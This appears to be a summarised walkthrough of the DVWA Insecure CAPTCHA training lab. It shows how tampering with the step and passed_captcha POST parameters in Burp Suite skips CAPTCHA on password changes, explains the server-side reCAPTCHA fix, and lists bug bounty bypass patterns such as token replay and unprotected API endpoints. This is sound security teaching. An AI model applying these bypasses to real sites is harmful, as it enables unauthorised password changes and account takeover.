Lab13: DVWA Insecure CAPTCHA Lab 2026 — Bypass Logic & Complete Walkthrough

This article is a detailed walkthrough of DVWA Lab 13, which teaches how insecure CAPTCHA implementations fail when they rely on client-supplied workflow state parameters rather than server-side verification. The lab demonstrates a logic flaw vulnerability across three security levels—where attackers bypass CAPTCHA entirely by manipulating HTTP POST parameters like step=2 or passed_captcha=true. This vulnerability class matters because it represents a fundamental design flaw in how security controls are enforced, appearing regularly in real bug bounty programs and affecting sensitive operations like password changes and account recovery.

• Root cause: server trusts client workflow stateThe Low security level implements CAPTCHA verification using a step parameter in the POST request, where step=1 shows the CAPTCHA form and step=2 processes the password change. The vulnerability exists because the server executes the password change code when it receives step=2 without independently verifying that the CAPTCHA in step 1 was actually completed—it simply trusts the client-supplied parameter value to indicate which workflow stage has occurred.
• Step parameter bypass at Low security levelAn attacker intercepts the password change request in Burp Suite and changes the POST parameter from step=1 to step=2, submitting the modified request directly to skip the CAPTCHA stage entirely. The server responds with 'Password Changed' without ever displaying or validating a CAPTCHA, and the new password is successfully set. This requires no technical exploit—only parameter manipulation of a client-controllable value.
• Medium security still trusts client verification claimMedium security replaces the step parameter with a passed_captcha boolean field in the POST body. An attacker simply adds passed_captcha=true to the password change request, and the server skips verification. The source code shows the server checks if this parameter is set (if isset($_POST['passed_captcha'])) without making any API call to verify that the CAPTCHA was actually solved, demonstrating that changing the parameter name does not fix the fundamental trust model problem.
• High security uses independent API verificationThe secure implementation calls recaptcha_check_answer() with the server's private key and the user's g-recaptcha-response token to verify CAPTCHA completion through Google's API, rejecting the entire request if verification fails. The client cannot generate, replay, or fake this token because it is single-use and issued only by the verified third-party service. This is the only model that actually provides security—server-side verification through a trusted external API, not reliance on any client-supplied parameter.
• Logic flaw vs technical vulnerability distinctionThe article distinguishes insecure CAPTCHA from technical vulnerabilities like SQL injection. This is a business logic flaw—a design error in how security controls are implemented—rather than a code injection or memory corruption issue. The same vulnerability class appears in price manipulation (changing hidden product price fields in e-commerce) and multi-step form authorization bypass (skipping the approval step parameter), all stemming from the server trusting client-reported state instead of server-verified conditions.
• Real-world CAPTCHA bypass patterns in bug bountyThe article identifies four common patterns found in actual bug bounty programs: CAPTCHA protection on web forms but not on underlying API endpoints (submit the POST directly to bypass form controls), CAPTCHA response tokens not invalidated after first use (replay the same token multiple times), CAPTCHA only enforced on GET requests not POST to the same endpoint, and asynchronous verification with a race condition where actions complete before verification responds. The article includes a real example where a financial services password reset flow used an identical step-parameter design over f
• Burp Suite parameter manipulation workflowThe lab uses Burp Suite's Intercept and Repeater features to capture the POST request during password change submission, modify the step or passed_captcha parameters while leaving other fields intact (password_new, password_conf), and resend the modified request to demonstrate the bypass. The technique shows that manipulating parameters is trivial regardless of whether fields are hidden in HTML; Burp Suite intercepts all POST data before the server processes it.
• Security severity depends on protected operationThe article notes that CAPTCHA bypass severity varies by context: protection on login endpoints rates as Medium severity, password reset flows as High severity, and financial transactions as Critical. This reflects the real-world impact assessment used in bug bounty programs where the same technical bypass carries different risk levels depending on what sensitive action it protects.

Bottom line: CAPTCHA security requires independent server-side API verification through a trusted provider (like Google reCAPTCHA) using the server's private key, not trust in any client-supplied parameter claiming verification occurred. Organizations testing multi-step forms and password reset flows in bug bounty programs should specifically check whether workflow state is enforced server-side or tracked via client-controllable parameters, as this logic flaw appears regularly in real applications with high